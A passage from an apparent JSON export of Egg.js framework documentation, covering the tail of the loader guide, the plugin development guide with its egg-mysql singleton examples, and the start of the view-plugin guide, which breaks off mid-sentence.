loaded first, independent plugins are loaded by the object key configuration order, see [Plugin](./plugin.md) for details.\n- Frameworks are loaded by the order of inheritance, the lower the more priority.\n\nFor example, an application is configured with the following dependencies:\n\n```\napp\n| ├── plugin2 (depends plugin3)\n| └── plugin3\n└── framework1\n    | └── plugin1\n    └── egg\n```\n\nThe final loading order is:\n\n```\n=> plugin1\n=> plugin3\n=> plugin2\n=> egg\n=> framework1\n=> app\n```\n\nThe plugin1 is framework1's dependent plugin, the object key order of plugin1 after configuration merger is prior to plugin2/plugin3. Because of the dependencies between plugin2 and plugin3, the order is swapped. The framework1 inherits the Egg, so the order is after the egg. The application is the last to be loaded.\n\nSee [Loader.getLoadUnits](https://github.com/eggjs/egg-core/blob/65ea778a4f2156a9cebd3951dac12c4f9455e636/lib/loader/egg_loader.js#L233) method for details.\n\n### File Order\n\nThe files that will be loaded by default are listed above. Egg will load files by the following order, each file or directory will be loaded according to loadUnit order (application, framework and plugin are different):\n\n- Loading [plugin](./plugin.md), find application and framework, loading `config/plugin.js`\n- Loading [config](../basics/config.md), traverse loadUnit to load `config/config.{env}.js`\n- Loading [extend](../basics/extend.md), traverse loadUnit to load `app/extend/xx.js`\n- [Application startup configuration](../basics/app-start.md), traverse loadUnit to load `app.js` and `agent.js`\n- Loading [service](../basics/service.md), traverse loadUnit to load `app/service` directory\n- Loading [middleware](../basics/middleware.md), traverse loadUnit to load `app/middleware` directory\n- Loading [controller](../basics/controller.md), loading application's `app/controller` directory\n- Loading [router](../basics/router.md), loading application's `app/router.js`\n\nNote:\n\n- Same name will be override in loading, for example, if we want to override `ctx.ip` we could define ip in application's `app/extend/context.js` directly.\n- See [framework development](./framework.md) for detail application launch order.\n\n### Life Cycles\n\nThe framework has provided you several functions to handle during the whole life cycle:\n\n- `configWillLoad`: All the config files are ready to load, so this is the LAST chance to modify them.\n- `configDidLoad`: When all the config files have been loaded.\n- `didLoad`: When all the files have been loaded.\n- `willReady`: When all the plugins are ready.\n- `didReady`: When all the workers are ready.\n- `serverDidReady`: When the server is ready.\n- `beforeClose`: Before the application is closed.\n\nHere're the definations:\n\n```js\n// app.js or agent.js\nclass AppBootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  configWillLoad() {\n    // Ready to call configDidLoad,\n    // Config, plugin files are referred,\n    // this is the last chance to modify the config.\n  }\n\n  configDidLoad() {\n    // Config, plugin files have been loaded.\n  }\n\n  async didLoad() {\n    // All files have loaded, start plugin here.\n  }\n\n  async willReady() {\n    // All plugins have started, can do some thing before app ready\n  }\n\n  async didReady() {\n    // Worker is ready, can do some things\n    // don't need to block the app boot.\n  }\n\n  async serverDidReady() {\n    // Server is listening.\n  }\n\n  async beforeClose() {\n    // Do some thing before app close.\n  }\n}\n\nmodule.exports = AppBootHook;\n```\n\nThe framework will automatically load and initialize this class after developers have defined `app.js` and `agenet.js` in the form of class, and it will call the corresponding methods during each of the life cycles.\n\nHere's the image of starting process:\n\n![](https://user-images.githubusercontent.com/40081831/50559449-2d3cdc80-0d32-11e9-96f2-42b3cc56d5d3.png)\n\n**Notice: We have an expiring time limitation when using `beforeClose` to close the processing of the framework. If a worker has accepted the signal of exit but doesn't exit within the limit period, it will be FORCELY closed.**\n\nIf you need to modify the expiring time, please see [this document](https://github.com/eggjs/egg-cluster).\n\nDeprecated methods:\n\n## `beforeStart`\n\n`beforeStart` is called during the loading process, all of its methods are running in parallel. So we usually execute some asynchronized methods (e.g: Check the state of connection, in [`egg-mysql`](https://github.com/eggjs/egg-mysql/blob/master/lib/mysql.js) we use this method to check the connection state with mysql). When all the tasks in `beforeStart` finished, the state will be `ready`. It's NOT recommended to excute a function that consumes too much time there, which will cause the expiration of application's start.plugin developers should use `didLoad` instead, for application developers, `willReady` is the replacer.\n\n## `ready`\n\nAll the methods mounted on `ready` will be executed when load ends, and after all the methods in `beforeStart` have finished executing. By the time Http server's listening also starts. This means all the plugins are fully loaded and everything is ready, So we use it to process some tasks after start. For developers now, we use `didReady` instead.\n\n## `beforeClose`\n\nAll the methods mounted on `beforeClose` are called in an inverted order after `close` method in app/agent instance is called. E.g: in [`egg`](https://github.com/eggjs/egg/blob/master/lib/egg.js), we close logger, remove listening methods ...,ect.Developers SHOULDN'T use `app.beforeClose` directly now, but in the form of class to implement `beforeClose` instead.\n\n**We don't recommend to use this function in a PROD env, because the process may end before it finishes.**\n\nWhat's more, we can use [`@eggjs/development`](https://github.com/eggjs/development#loader-trace) to see the loading process.\n\n### File-Loading Rules\n\nThe framework will convert file names when loading files, because there is a difference between the file naming style and the API style. We recommend that files use underscores, while APIs use lower camel case. For examplem `app/service/user_info.js` will be converted to `app.service.userInfo`.\n\nThe framework also supports hyphens and camel case:\n\n- `app/service/user-info.js` => `app.service.userInfo`\n- `app/service/userInfo.js` => `app.service.userInfo`\n\nLoader also provides [caseStyle](#caseStyle-string) to force the first letter case, such as make the first letter of the API upper case when loading the model, `app/model/user.js` => `app.model.User`, we can set `caseStyle: 'upper'`.\n\n## Extend Loader\n\n[Loader] is a base class and provides some built-in methods based on the rules of the file loading, but itself does not call them in most cases, inherited classes call those methods.\n\n- loadPlugin()\n- loadConfig()\n- loadAgentExtend()\n- loadApplicationExtend()\n- loadRequestExtend()\n- loadResponseExtend()\n- loadContextExtend()\n- loadHelperExtend()\n- loadCustomAgent()\n- loadCustomApp()\n- loadService()\n- loadMiddleware()\n- loadController()\n- loadRouter()\n\nEgg implements [AppWorkerLoader] and [AgentWorkerLoader] based on the Loader, inherited frameworks could make extensions based on these two classes, and **Extensions of the Loader can only be done in the framework**.\n\n```js\n// custom AppWorkerLoader\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass YadanAppWorkerLoader extends egg.AppWorkerLoader {\n  constructor(opt) {\n    super(opt);\n    // custom initialization\n  }\n\n  loadConfig() {\n    super.loadConfig();\n    // process config\n  }\n\n  load() {\n    super.load();\n    // custom loading other directories\n    // or processing loaded files\n  }\n}\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n  // override Egg's Loader, use this Loader when launching\n  protected override customEggLoader() {\n    return YadanAppWorkerLoader;\n  }\n}\n\nmodule.exports = Object.assign(egg, {\n  Application,\n  // custom Loader also need export, inherited framework make extensions based on it\n  AppWorkerLoader: YadanAppWorkerLoader,\n});\n```\n\nIt's convenient for development team to customize loading via the Loader supported APIs. such as `this.model.xx`, `app/extend/filter.js` and so on.\n\nThe mention above is just a description of the Loader wording, please see [Framework Development](./framework.md) for details.\n\n## Loader API\n\nLoader also supports some low level APIs to simplify code when extending, [here](https://github.com/eggjs/egg-core#eggloader) are all APIs.\n\n### `loadFile`\n\nUsed to load a file, such as loading `app/xx.js`:\n\n```js\n// app/xx.js\nmodule.exports = (app) => {\n  console.log(app.config);\n};\n\n// app.js\n// app/xx.js, as an example, we could load this file in app.js\nconst path = require('path');\nmodule.exports = (app) => {\n  app.loader.loadFile(path.join(app.config.baseDir, 'app/xx.js'));\n};\n```\n\nIf the file exports a function, then the function will be called with `app` as its parameter, otherwise uses this value directly.\n\n### `loadToApp`\n\nUsed to load files from a directory into the app, such as `app/controller/home.js` to `app.controller.home`.\n\n```js\n// app.js\n// The following is just an example, using loadController to load controller in practice\nmodule.exports = (app) => {\n  const directory = path.join(app.config.baseDir, 'app/controller');\n  app.loader.loadToApp(directory, 'controller');\n};\n```\n\nThe method has three parameters `loadToApp(directory, property, LoaderOptions)`:\n\n1. Directory could be String or Array, Loader will load files in those directories.\n2. Property is app's property.\n3. [LoaderOptions](#LoaderOptions) are some configurations.\n\n### `loadToContext`\n\nThe difference between loadToApp and loadToContext is that loadToContext loads files into ctx instead of app, and it's a lazy loading. It puts files into a temp object when loading, and instantiates objects when calling ctx APIs.\n\nWe load service in this mode as an example:\n\n```js\n// The following is just an example, using loadService in practice\n// app/service/user.js\nconst Service = require('egg').Service;\nclass UserService extends Service {}\nmodule.exports = UserService;\n\n// app.js\n// get all loadUnit\nconst servicePaths = app.loader\n  .getLoadUnits()\n  .map((unit) => path.join(unit.path, 'app/service'));\n\napp.loader.loadToContext(servicePaths, 'service', {\n  // service needs to inherit app.Service, so needs app as parameter\n  // enable call will return UserService when loading\n  call: true,\n  // loading file into app.serviceClasses\n  fieldClass: 'serviceClasses',\n});\n```\n\n`app.serviceClasses.user` becomes UserService after file loading, it instantiates UserService when calling `ctx.service.user`.\nSo this class will only be instantiated when first calling, and will be cached after instantiation, multiple calling same request will be instantiated only once.\n\n### LoaderOptions\n\n#### `ignore [String]`\n\n`ignore` could ignore some files, supports glob, the default is empty.\n\n```js\napp.loader.loadToApp(directory, 'controller', {\n  // ignore files in app/controller/util\n  ignore: 'util/**',\n});\n```\n\n#### `initializer [Function]`\n\nProcessing each file exported values, the default is empty.\n\n```js\n// app/model/user.js\nmodule.exports = class User {\n  constructor(app, path) {}\n};\n\n// Loading from app/model, could do some initializations when loading.\nconst directory = path.join(app.config.baseDir, 'app/model');\napp.loader.loadToApp(directory, 'model', {\n  initializer(model, opt) {\n    // The first parameter is export's object\n    // The second parameter is an object that only contains current file path.\n    return new model(app, opt.path);\n  },\n});\n```\n\n#### `caseStyle [String]`\n\nFile conversion rules, could be `camel`, `upper`, `lower`, the default is `camel`.\n\nAll three convert file name to camel case, but deal with the initials differently:\n\n- `camel`: initials unchanged.\n- `upper`: initials upper case.\n- `lower`: initials lower case.\n\nLoading different files uses different configurations:\n\n| File           | Configuration |\n| -------------- | ------------- |\n| app/controller | lower         |\n| app/middleware | lower         |\n| app/service    | lower         |\n\n#### `override [Boolean]`\n\nOverriding or throwing exception when encounter existing files, the default is false.\n\nFor example, the `app/service/user.js` is both loaded by the application and the plugin, if the setting is true, the application will override the plugin, otherwise an error will be throwed when loading.\n\nLoading different files uses different configurations:\n\n| File           | Configuration |\n| -------------- | ------------- |\n| app/controller | true          |\n| app/middleware | false         |\n| app/service    | false         |\n\n#### `call [Boolean]`\n\nCalling when export's object is function, and get the return value, the default is true\n\nLoading different files uses different configurations:\n\n| File           | Configuration |\n| -------------- | ------------- |\n| app/controller | true          |\n| app/middleware | false         |\n| app/service    | true          |\n\n## CustomLoader\n\nYou can use `customLoader` instead of `loadToContext` and `loadToApp`.\n\nWhen you define a loader with `loadToApp`\n\n```js\n// app.js\nmodule.exports = (app) => {\n  const directory = path.join(app.config.baseDir, 'app/adapter');\n  app.loader.loadToApp(directory, 'adapter');\n};\n```\n\nInstead, you can define `customLoader`\n\n```js\n// config/config.default.js\nmodule.exports = {\n  customLoader: {\n    // the property name when load to application, E.X. app.adapter\n    adapter: {\n      // relative to app.config.baseDir\n      directory: 'app/adapter',\n      // if inject is ctx, it will use loadToContext\n      inject: 'app',\n      // whether load the directory of the framework and plugin\n      loadunit: false,\n      // you can also use other LoaderOptions\n    },\n  },\n};\n```\n\n## Reference Links\n\n- [Loader](https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js)\n- [AppWorkerLoader](https://github.com/eggjs/egg/blob/master/lib/loader/app_worker_loader.js)\n- [AgentWorkerLoader](https://github.com/eggjs/egg/blob/master/lib/loader/agent_worker_loader.js)\n"
  },
  {
    "path": "site/docs/advanced/plugin.md",
    "content": "---\ntitle: Plugin Development\norder: 2\n---\n\nPlugins are the most important features in Egg framework. They keep Egg simple, stable and efficient, and also they make the best reuse of business logic to build an entire ecosystem. Maybe we want to ask:\n\n- Since Koa already has the mechanism of middleware, Why do we need plugins?\n- What are the differences / relationships among middlewares, plugins and applications?\n- How can I use the plugin?\n- How do I build a plugin?\n- ...\n\nAs we've already explained some these points in chapter [using plugins](../basics/plugin.md) before. Now we are going through how to build a plugin.\n\n## Plugin Development\n\n### Quick Start with Scaffold\n\nJust use [egg-boilerplate-plugin] to generates a scaffold for you.\n\n```bash\n$ mkdir egg-hello && cd egg-hello\n$ npm init egg --type=plugin\n$ npm i\n$ npm test\n```\n\n## Directory of Plugin\n\nPlugin is actually a `mini application`, directory of plugin is as below:\n\n```js\n. egg-hello\n├── package.json\n├── app.js (optional)\n├── agent.js (optional)\n├── app\n│   ├── extend (optional)\n│   |   ├── helper.js (optional)\n│   |   ├── request.js (optional)\n│   |   ├── response.js (optional)\n│   |   ├── context.js (optional)\n│   |   ├── application.js (optional)\n│   |   └── agent.js (optional)\n│   ├── service (optional)\n│   └── middleware (optional)\n│       └── mw.js\n├── config\n|   ├── config.default.js\n│   ├── config.prod.js\n|   ├── config.test.js (optional)\n|   ├── config.local.js (optional)\n|   └── config.unittest.js (optional)\n└── test\n    └── middleware\n        └── mw.test.js\n```\n\nIt is almost the same as the application directory, what're the differences?\n\n1. Plugin have no independant router or controller. This is because:\n   - Usually routers are strongly bound to application, it is not fit here.\n   - An application might have plenty of dependant plugins, routers of plugin are very possible conflict with others. It would be a disaster.\n   - If you really need a general router, you should implement it as middleware of the plugin.\n\n2. The specific information of plugin should be declared in the `package.json` of `eggPlugin`：\n   - `{String} name` - plugin name(required), it must be unique, it will be used in the config of the dependencies of plugins.\n   - `{Array} dependencies` - strong dependent plugins list of the current plugin(if one of these plugins here is not found, application's startup will fail).\n   - `{Array} optionalDependencies` - optional dependencies list of this plugin.(if these plugins are not activated, only warnings would be occurred, and will not affect the startup of the application).\n   - `{Array} env` - this option is available only when specifying the environment. For the list of env, please refer to [env](../basics/env.md). This is optional, most time you can leave it.\n\n     ```json\n     {\n       \"name\": \"egg-rpc\",\n       \"eggPlugin\": {\n         \"name\": \"rpc\",\n         \"dependencies\": [\"registry\"],\n         \"optionalDependencies\": [\"vip\"],\n         \"env\": [\"local\", \"test\", \"unittest\", \"prod\"]\n       }\n     }\n     ```\n\n3. No `plugin.js`：\n   - `eggPlugin.dependencies` is for declaring dependencies only, not for importing, nor activating.\n   - If you want to manage multiple plugins, you should do it in[upper framework](./framework.md)\n\n## Dependencies Management of Plugins\n\nThe dependencies are managed by plugin himself, which is different from middlewares. Before loading plugins, application will read `eggPlugin > dependencies` and `eggPlugin > optionalDependencies` from `package.json`, and then sort out the loading orders according to their relationships, for example, the loading order of the following plugins is `c => b => a`:\n\n```json\n// plugin a\n{\n  \"name\": \"egg-plugin-a\",\n  \"eggPlugin\": {\n    \"name\": \"a\",\n    \"dependencies\": [ \"b\" ]\n  }\n}\n\n// plugin b\n{\n  \"name\": \"egg-plugin-b\",\n  \"eggPlugin\": {\n    \"name\": \"b\",\n    \"optionalDependencies\": [ \"c\" ]\n  }\n}\n\n// plugin c\n{\n  \"name\": \"egg-plugin-c\",\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n```\n\n**Attention: The values in `dependencies` and `optionalDependencies` are the `eggPlugin.name` of plugins, not `package.name`.**\n\nThe `dependencies` and `optionalDependencies` are learnt from `npm`, most time we use `dependencies`, which is recommended. There are about two situations to apply the `optionalDependencies`:\n\n- Only be dependant in specific environment: for example, an authentication plugin, only depends on the mock plugin in development environment.\n- Weakly depending, for example: A depends on B, but without B, A can take other choices.\n\nAttention: if you are using `optionalDependencies`, framework won't verify the activation of these dependencies, they are only for sorting loading orders. In such situation, the plugin will go through other ways such as `interface detection` to decide processing logic.\n\n## What can Plugin Do?\n\nWe've discussed what plugin is. Now what can it do?\n\n### Built-in Objects API Extensions\n\nExtend the built-in objects of the framework, just like the application\n\n- `app/extend/request.js` - extends Koa#Request object\n- `app/extend/response.js` - extends Koa#Response object\n- `app/extend/context.js` - extends Koa#Context object\n- `app/extend/helper.js ` - extends Helper object\n- `app/extend/application.js` - extends Application object\n- `app/extend/agent.js` - extends Agent object\n\n### Insert Custom Middlewares\n\n1. First, define and implement middleware under directory `app/middleware`:\n\n   ```js\n   'use strict';\n\n   const staticCache = require('koa-static-cache');\n   const assert = require('assert');\n   const mkdirp = require('mkdirp');\n\n   module.exports = (options, app) => {\n     assert.strictEqual(\n       typeof options.dir,\n       'string',\n       'Must set `app.config.static.dir` when static plugin enable',\n     );\n\n     // ensure directory exists\n     mkdirp.sync(options.dir);\n\n     app.loggers.coreLogger.info(\n       '[egg-static] starting static serve %s -> %s',\n       options.prefix,\n       options.dir,\n     );\n\n     return staticCache(options);\n   };\n   ```\n\n2. Insert middleware to the appropriate position in `app.js`(e.g. insert static middleware before bodyParser):\n\n   ```js\n   const assert = require('assert');\n\n   module.exports = (app) => {\n     // insert static middleware before bodyParser\n     const index = app.config.coreMiddleware.indexOf('bodyParser');\n     assert(index >= 0, 'bodyParser highly needed');\n\n     app.config.coreMiddleware.splice(index, 0, 'static');\n   };\n   ```\n\n### Initialization on Application Starting\n\n- If you want to read some local config before startup:\n\n  ```js\n  // ${plugin_root}/app.js\n  const fs = require('fs');\n  const path = require('path');\n\n  module.exports = (app) => {\n    app.customData = fs.readFileSync(path.join(app.config.baseDir, 'data.bin'));\n\n    app.coreLogger.info('read data ok');\n  };\n  ```\n\n- If you want to do some async starting business, you can do it with `app.beforeStart` API:\n\n  ```js\n  // ${plugin_root}/app.js\n  const MyClient = require('my-client');\n\n  module.exports = (app) => {\n    app.myClient = new MyClient();\n    app.myClient.on('error', (err) => {\n      app.coreLogger.error(err);\n    });\n    app.beforeStart(async () => {\n      await app.myClient.ready();\n      app.coreLogger.info('my client is ready');\n    });\n  };\n  ```\n\n- You can add initialization business of agent with `agent.beforeStart` API:\n\n  ```js\n  // ${plugin_root}/agent.js\n  const MyClient = require('my-client');\n\n  module.exports = (agent) => {\n    agent.myClient = new MyClient();\n    agent.myClient.on('error', (err) => {\n      agent.coreLogger.error(err);\n    });\n    agent.beforeStart(async () => {\n      await agent.myClient.ready();\n      agent.coreLogger.info('my client is ready');\n    });\n  };\n  ```\n\n### Setup Schedule Task\n\n1. Setup dependencies of schedule plugin in `package.json`:\n\n   ```json\n   {\n     \"name\": \"your-plugin\",\n     \"eggPlugin\": {\n       \"name\": \"your-plugin\",\n       \"dependencies\": [\"schedule\"]\n     }\n   }\n   ```\n\n2. Create a new file in `${plugin_root}/app/schedule/` directory to edit your schedule task:\n\n   ```js\n   exports.schedule = {\n     type: 'worker',\n     cron: '0 0 3 * * *',\n     // interval: '1h',\n     // immediate: true,\n   };\n\n   exports.task = async (ctx) => {\n     // your logic code\n   };\n   ```\n\n### Best Practice of Global Instance Plugins\n\nSome plugins are made to introduce existing service into framework, like [egg-mysql], [egg-oss].They all need to create corresponding instances in applications. We notice that there are some common problems when developing plugins of this kind:\n\n- Use different instances of the same service in one application (e.g: connect to two different MySQL databases).\n- Dynamically initialize connection after getting config from other service (e.g: get the MySQL server address from configuration center and then create connection).\n\nIf each plugin makes their own implementation, all sorts of configs and initializations will be chaotic. So the framework supplies the `app.addSingleton(name, creator)` API to unify the creation of this kind of services. Note that while using the `app.addSingleton(name, creator)` method, the configuration file must have the `client` or `clients` key configuration as the `config` to the `creator` function.\n\n#### Ways of writing plugins\n\nWe simplify the [egg-mysql] plugin to see how to write it:\n\n```js\n// egg-mysql/app.js\nmodule.exports = (app) => {\n  // The first parameter mysql defines the field  mounted to app, we can access MySQL singleton instance via `app.mysql`\n  // The second parameter createMysql accepts two parameters (config, app), and then returns a MySQL instance\n  app.addSingleton('mysql', createMysql);\n};\n\n/**\n * @param  {Object} config   The config is processed by the framework. If the application is configured with multiple MySQL instances, each config would be passed in and call multiple createMysql\n * @param  {Application} app  the current application\n * @return {Object}          return the created MySQL instance\n */\nfunction createMysql(config, app) {\n  assert(config.host && config.port && config.user && config.database);\n  // create instance\n  const client = new Mysql(config);\n\n  // check before start the application\n  app.beforeStart(async () => {\n    const rows = await client.query('select now() as currentTime;');\n    app.coreLogger.info(\n      `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,\n    );\n  });\n\n  return client;\n}\n```\n\nThe initialization function also supports `Async function`, convenient for some special plugins that need to be asynchronous to get some configuration files.\n\n```js\nasync function createMysql(config, app) {\n  // get mysql configurations asynchronous\n  const mysqlConfig = await app.configManager.getMysqlConfig(config.mysql);\n  assert(\n    mysqlConfig.host &&\n      mysqlConfig.port &&\n      mysqlConfig.user &&\n      mysqlConfig.database,\n  );\n  // create instance\n  const client = new Mysql(mysqlConfig);\n\n  // check before start the application\n  const rows = await client.query('select now() as currentTime;');\n  app.coreLogger.info(\n    `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,\n  );\n\n  return client;\n}\n```\n\nAs you can see, all we need to do for this plugin is passing the fields that need to be mounted and the corresponding initialization function. Framework will be in charge of managing all the configs and the ways to access the instances.\n\n#### Application Layer Usage Case\n\n##### Single Instance\n\n1. Declare MySQL config in config file:\n\n   ```js\n   // config/config.default.js\n   module.exports = {\n     mysql: {\n       client: {\n         host: 'mysql.com',\n         port: '3306',\n         user: 'test_user',\n         password: 'test_password',\n         database: 'test',\n       },\n     },\n   };\n   ```\n\n2. Access database through `app.mysql` directly:\n\n   ```js\n   // app/controller/post.js\n   class PostController extends Controller {\n     async list() {\n       const posts = await this.app.mysql.query(sql, values);\n     },\n   }\n   ```\n\n##### Multiple Instances\n\n1. We need to configure MySQL in the config file, but different from single instance, we need to add `clients` in the config to declare the configuration of different instances. Meanwhile, the `default` field can be used to configure the shared configuration in multiple instances (e.g: `host` and `port`). In this case, we should use `get` function to specify the corresponding instance(e.g: use `app.mysql.get('db1').query()` instead of using `app.mysql.query()` directly to get an `undefined`).\n\n   ```js\n   // config/config.default.js\n   exports.mysql = {\n     clients: {\n       // clientId, access the client instance by app.mysql.get('clientId')\n       db1: {\n         user: 'user1',\n         password: 'upassword1',\n         database: 'db1',\n       },\n       db2: {\n         user: 'user2',\n         password: 'upassword2',\n         database: 'db2',\n       },\n     },\n     // default configuration for all databases\n     default: {\n       host: 'mysql.com',\n       port: '3306',\n     },\n   };\n   ```\n\n2. Access the corresponding instance by `app.mysql.get('db1')`:\n\n   ```js\n   // app/controller/post.js\n   class PostController extends Controller {\n     async list() {\n       const posts = await this.app.mysql.get('db1').query(sql, values);\n     },\n   }\n   ```\n\n##### Dynamically Instantiating\n\nInstead of declaring the configuration in the configuration file in advance, we can dynamically initialize an instance at the runtime of the application.\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    //  get MySQL config from configuration center { host, post, password, ... }\n    const mysqlConfig = await app.configCenter.fetch('mysql');\n    // create MySQL instance dynamically\n    app.database = app.mysql.createInstanceAsync(mysqlConfig);\n  });\n};\n```\n\nAccess the instance through `app.database`\n\n```js\n// app/controller/post.js\nclass PostController extends Controller {\n  async list() {\n    const posts = await this.app.database.query(sql, values);\n  },\n}\n```\n\n**Attention: when creating the instance dynamically, framework would read the `default` configuration from the config file as the default.**\n\n### Plugin Locate Rule\n\nWhen loading the plugins in the framework, it will follow the rules below:\n\n- If there is the path configuration, load them in path directly.\n- If there is no path configuration, search them with the package name, the search orders are:\n  1. `node_modules` directory of the application root\n  2. `node_modules` directory of the dependencies\n  3. `node_modules` of current directory(generally for unit test compatibility)\n\n### Plugin Specification\n\nIt's well welcomed to your contributions to the new plugins, but also hope you follow some of following specifications:\n\n- Naming Rules:\n  - `npm` packages must append prefix `egg-`,and all letters must be lowercase, e.g: `egg-xxx`. The long names should be concatenated with middle-lines: `egg-foo-bar`.\n  - The corresponding plugin should be named in camel-case. The name should be translated according to the middle-lines of the `npm` name:`egg-foo-bar` => `fooBar`.\n  - The use of middle-lines is not compulsive, e.g: userservice(egg-userservice) and user-service(egg-user-service) are both acceptable.\n- `package.json` Rules:\n  - Add `eggPlugin` property according to the details discussed before.\n  - For convenient index, add `egg`,`egg-plugin`,`eggPlugin` in `keywords`:\n\n    ```json\n    {\n      \"name\": \"egg-view-nunjucks\",\n      \"version\": \"1.0.0\",\n      \"description\": \"view plugin for egg\",\n      \"eggPlugin\": {\n        \"name\": \"nunjucks\",\n        \"dep\": [\"security\"]\n      },\n      \"keywords\": [\n        \"egg\",\n        \"egg-plugin\",\n        \"eggPlugin\",\n        \"egg-plugin-view\",\n        \"egg-view\",\n        \"nunjucks\"\n      ]\n    }\n    ```\n\n## Why Do Not Use the `npm` Package Name as the Plugin Name?\n\nEgg defines the plugin name through the `eggPlugin.name`, it is only unique in application or framework, that means **many npm packages might get the same plugin name**, why design in this way?\n\nFirst, Egg plugin does not only support npm packages, but also supports plugins-searching in local directory. In Chapter [progressive](../intro/progressive.md) we've mentioned how to make progress by using these two configurations. Directories are more friendly to unit tests. So, Egg can not ensure uniqueness through npm package names.\n\nWhat's more, Egg can use this feature to make an adapter, for example, the plugin defined in[Template Develop Spec](./view-plugin.md#PluginNameSpecification) was named as view, but there are plugins named `egg-view-nunjucks` and `egg-view-react`, the users only need to change the plugin and modify the templates, no need to modify the controllers, because all these plugins have implemented the same APIs.\n\n**Giving the same plugin name and the same API to the same plugin can make quick switch between them**. This is really really useful in template and database.\n\n[egg-boilerplate-plugin]: https://github.com/eggjs/egg-boilerplate-plugin\n[egg-mysql]: https://github.com/eggjs/egg-mysql\n[egg-oss]: https://github.com/eggjs/egg-oss\n"
  },
  {
    "path": "site/docs/advanced/view-plugin.md",
    "content": "---\ntitle: View Plugin Development\norder: 5\n---\n\nIn most cases, we need to read the data, render the template and then present it to the user. The framework does not force to use one template engine, but allows developers to select the [template](../core/view.md) by themselves. For details, see [Template Rendering](../core/view.md).\n\nThis article describes the framework's specification constraints on the View plugin, and we can use this to encapsulate the corresponding template engine plugin. The following takes [egg-view-ejs] as an example.\n\n## Plugin Directory Structure\n\n```bash\negg-view-ejs\n├── config\n│ ├── config.default.js\n│ └── config.local.js\n├── lib\n│ └── view.js\n├── app.js\n├── test\n├── History.md\n├── README.md\n└── package.json\n```\n\n## Plugin Naming Convention\n\n- Follow the [plugin development specification](./plugin.md)\n- According to the convention, the names of plugins start with `egg-view-`\n- `package.json` is configured as follows. Plugins are named after the template engine, such as ejs\n\n```json\n{\n  \"name\": \"egg-view-ejs\",\n  \"eggPlugin\": {\n    \"name\": \"ejs\"\n  },\n  \"keywords\": [\"egg\", \"egg-plugin\", \"egg-view\", \"ejs\"]\n}\n```\n\n- The configuration item is also named after the template engine\n\n```js\n// config/config.default.js\nmodule.exports = {\n  ejs: {},\n};\n```\n\n## View Base Class\n\nThe next step is to provide a View base class that will be instantiated on each request.\n\nThe base class of the View needs to provide `render` and `renderString` methods and supports generator and async functions (it can also be a function that returns a Promise). The `render` method is used to render files, and the `renderString` method is used to render template strings.\n\nThe following is a simplified code that can be directly [view source](https://github.com/eggjs/egg-view-ejs/blob/master/lib/view.js)\n\n```js\nconst ejs = require('ejs');\n\nMmdule.exports = class EjsView {\n  render(filename, locals, viewOptions) {\n    const config = Object.assign({}, this.config, viewOptions, { filename });\n\n    return new Promise((resolve, reject) => {\n      // Asynchronous API call\n      ejs.renderFile(filename, locals, config, (err, result) => {\n        if (err) {\n          reject(err);\n        } else {\n          resolve(result);\n        }\n      });\n    });\n  }\n\n  renderString(tpl, locals, viewOptions) {\n    const config = Object.assign({}, this.config, viewOptions, { cache: null });\n    try {\n      // Synchronous API call\n      return Promise.resolve(ejs.render(tpl, locals, config));\n    } catch (err) {\n      return Promise.reject(err);\n    }\n  }\n};\n```\n\n### Parameters\n\nThe three parameters of the `render` method are:\n\n- `filename`: is the path to the complete file. The framework determines if the file exists when looking for the file. It does not need to be processed here.\n- `locals`: The data needs rendering. It comes from `app.locals`, `ctx.locals` and calls `render` methods. The framework also has built in `ctx`, `request`, `ctx.helper` objects.\n- `viewOptions`: The incoming configuration of the user, which can override the default configuration of the template engine. This can be considered based on the characteristics of the template engine. For example, the cache is enabled by default but a page does not need to be cached.\n\nThe three parameters of the `renderString` method:\n\n- `tpl`: template string, not file path.\n- `locals`: same with `render`.\n- `viewOptions`: same with `render`.\n\n## Plugin Configuration\n\nAccording to the naming conventions mentioned above, the configuration name is generally the name of the template engine, such as ejs.\n\nThe configuration of the plugin mainly comes from the configuration of the template engine, and the configuration items can be defined according to the specific conditions, such as the [configuration of ejs](https://github.com/mde/ejs#options).\n\n```js\n// config/config.default.js\nmodule.exports = {\n  ejs: {\n    cache: true,\n  },\n};\n```\n\n### Helper\n\nThe framework provides `ctx.helper` for developer use, but in some cases we want to override the helper method and only take effect when the template is rendered.\n\nIn template rendering, we often need to output a user-supplied html fragment, in which case, we often use the `helper.shtml` provided by the `@eggjs/security` plugin.\n\n```html\n<div>{{ helper.shtml(data.content) | safe }}</div>\n```\n\nHowever, as shown in the code above, we need to use `| safe` to tell the template engine that the html is safe and it doesn't need to run `escape` again.\n\nThis is more cumbersome to use and easy to forget, so we can package it:\n\n- First provide a helper subclass:\n\n```js\n// {plugin_root}/lib/helper.js\nmodule.exports = (app) => {\n  return class ViewHelper extends app.Helper {\n    // safe is injected by [egg-view-nunjucks] and will not be escaped during rendering.\n    // Otherwise, the template call shtml will be escaped\n    shtml(str) {\n      return this.safe(super.shtml(str));\n    }\n  };\n};\n```\n\n- Use a custom helper when rendering:\n\n```js\n// {plugin_root}/lib/view.js\nconst ViewHelper = require('./helper');\n\nmodule.exports = class MyCustomView {\n  render(filename, locals) {\n    locals.helper = new ViewHelper(this.ctx); // call Nunjucks render\n  }\n};\n```\n\nYou can [view](https://github.com/eggjs/egg-view-nunjucks/blob/2ee5ee992cfd95bc0bb5b822fbd72a6778edb118/lib/view.js#L11) the specific code here\n\n### Security Related\n\nTemplates and security are related and [@eggjs/security] also provides some methods for the template. The template engine can be used according to requirements.\n\nFirst declare a dependency on [@eggjs/security]:\n\n```json\n{\n  \"name\": \"egg-view-nunjucks\",\n  \"eggPlugin\": {\n    \"name\": \"nunjucks\",\n    \"dep\": [\"security\"]\n  }\n}\n```\n\nBesides, the framework provides [app.injectCsrf](../core/security.md#appinjectcsrfstr) and [app.injectNonce](../core/security.md#appinjectnonncestr), for more information on [security section](../core/security.md).\n\n### Unit Tests\n\nAs a high-quality plugin, perfect unit testing 